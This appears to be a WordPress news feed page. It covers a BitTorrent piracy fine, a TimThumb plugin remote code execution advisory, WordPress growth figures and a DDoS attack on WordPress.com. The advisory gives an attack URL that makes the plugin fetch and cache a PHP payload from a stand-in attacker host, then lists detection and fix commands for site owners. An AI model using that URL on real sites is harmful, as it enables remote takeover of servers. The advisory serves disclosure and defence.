Man fined $7,000 for sharing 'WordPress for Dummies' via BitTorrent

Robert Carpenter of Poughkeepsie, New York has been ordered to pay $7,000 in damages for sharing a copy of "WordPress All-in-One For Dummies" on BitTorrent. Carpenter was part of a mass filing by publisher John Wiley & Sons last October that included 27 John Does allegedly caught sharing "For Dummies" books via BiTorrent.

According to TorrentFreak, Wiley has since filed over a dozen mass suits with several hundred John Does accused of illegally sharing copies of works from the extensive For Dummies series.

"Defendants are contributing to a problem that threatens the profitability of Wiley. Although Wiley cannot determine at this time the precise amount of revenue that it has lost as a result of peer-to-peer file sharing of its copyrighted works though BitTorrent software, the amount of revenue that is lost is enormous," Wiley's attorney wrote during the initial filing last year.

It was noted that that one popular For Dummies book on Photoshop CS5 was pirated more than 74,000 times on the BitTorrent site Demonoid.me alone.

Although many people targeted by Wiley have settled out of court (for an undisclosed amount, but ~$3,000 is common), the publisher is applying additional pressure to those who won't pony up. Such is the case with Carpenter, who ignored Wiley's complaint, according to a court document obtained and uploaded by TorrentFreak.

Interestingly, the $7,000 penalty isn't just for copyright infringement, but $2,000 of it is specifically for counterfeiting Wiley's trademarks -- a first for a case of this nature, TorrentFreak believes.

WordPress TimThumb Plugin – Remote Code Execution

TimThumb is prone to a Remote Code Execution vulnerability, due to the script does not check remotely cached files properly. By crafting aspecial image file with a valid MIME-type, and appending a PHP file at the end of this, it is possible to fool TimThumb into believing that it is a legitimate image, thus caching it locally in the cache directory.

Attack URL: (Note! Some websites uses Base64 Encoding of the src GET-request.)

http://www.target.tld/wp-content/themes/THEME/timthumb.php?src=http://blogger.com.evildomain.tld/pocfile.php

Stored file on the Target: (This can change from host to host.)
1.19: http://www.target.tld/wp-content/themes/THEME/cache/md5($src);
1.32: http://www.target.tld/wp-content/themes/THEME/cache/external_md5($src);
md5($src); means the input value of the ‘src’ GET-request – Hashed in MD5 format.

According to markmaunder.com:

To check if you have been hacked do the following:

Sign into your server using ssh
cd to your wordpress installation directory
run “grep -r base64_decode *”
You should see a few occurences but if any of them have a long encoded string between the parentheses, then you’re probably hacked.

The hacker used base64_decode in the file uploaded to the timthumb.php cache directory as well as where he injected code in my blog.
Also check your /tmp/ directory and if you have any suspicious files there like xwf.txt or any other .txt files, look at them in a text editor.

How to (possibly) fix this:

Go into your theme directory and figure out where timthumb.php is.
You might try “find /your/wordpress/dir/wp-content/themes/YourTheme/ -name “timthumb.php””
Edit timthumb and remove the list of external websites that content is allowed to be loaded from.
I have not audited the rest of the code, so this may or may not make it secure.
The developer really needs to use a regular expression to check the external hostnames images can be loaded from.

Alternatively:

Update to the latest version 1.34 or delete the timthumb file.

NOTE: This file is often renamed and you should therefore issue
a command like this in a terminal: (Thanks to rAWjAW for this info.)
find . | grep php | xargs grep -s timthumb

WordPress powers 60 million blogs, 300 million unique visitors monthly

Blogging software WordPress is now responsible for powering more than 60 million blogs that generate more than 300 million unique visitors per month. According to founder Matt Mullenweg, about half of the 60 million WordPress-powered blogs are hosted by WordPress.com which is owned and operated by Automattic.

Despite the success thus far, Mullenweg believes WordPress is still in its infancy. In an interview with Mathew Ingram at the GigaOM RoadMap conference in San Francisco, the founder said the company is planning strategies around social and mobile markets that should drive growth even further in 2012. Specifically, by integrating social networking into a blog’s core, the team is seeing page views per user increase significantly.

On the mobile front, WordPress has seen access grow by seven times in the past year. Between 4 to 5 million users log into WordPress’ mobile platform every day.

The forward-looking company claims they aren’t adding new features to compete with other blogging platforms, however. To them, it’s all about their users and providing the best possible service available. Mullenweg says that 92 percent of clients are using WordPress as a content management system in addition to a blog.

WordPress if a free and open source blogging software and content management system that was introduced in May 2003. Automattic has remained relatively small since then, with only 100 employees and no central office. In fact, most of the company’s staff is scattered across the globe. Mullenweg doesn’t believe that geographic location should deter someone from getting a job they are qualified for.

WordPress suffers second DDoS attack

WordPress has been slammed by a second distributed denial of service (DDoS) attack in two days. The popular blogging platform was hit by an "extremely large" DDoS yesterday that amounted to multiple Gigabits and tens of millions of packets per second bombarding their servers, resulting in connectivity issues for the service's 18 million hosted blogs.

The initial DDoS attack resurfaced "in a different form" sometime this morning, once again affecting site-wide performance. "The good news is that we were able to mitigate it quickly and performance returned to normal around 11:15 UTC. We are continuing to monitor the situation closely," WordPress announced on its "Automattic" site.


It's still unclear who's behind the attacks, which WordPress founder Matt Mullenweg called "the largest and most sustained" the service has seen in its six-year history. Mullenweg suspects the DDoS attacks may have been politically motivated against a non-English blog, but the company is still investigating and doesn't have a definitive answer yet.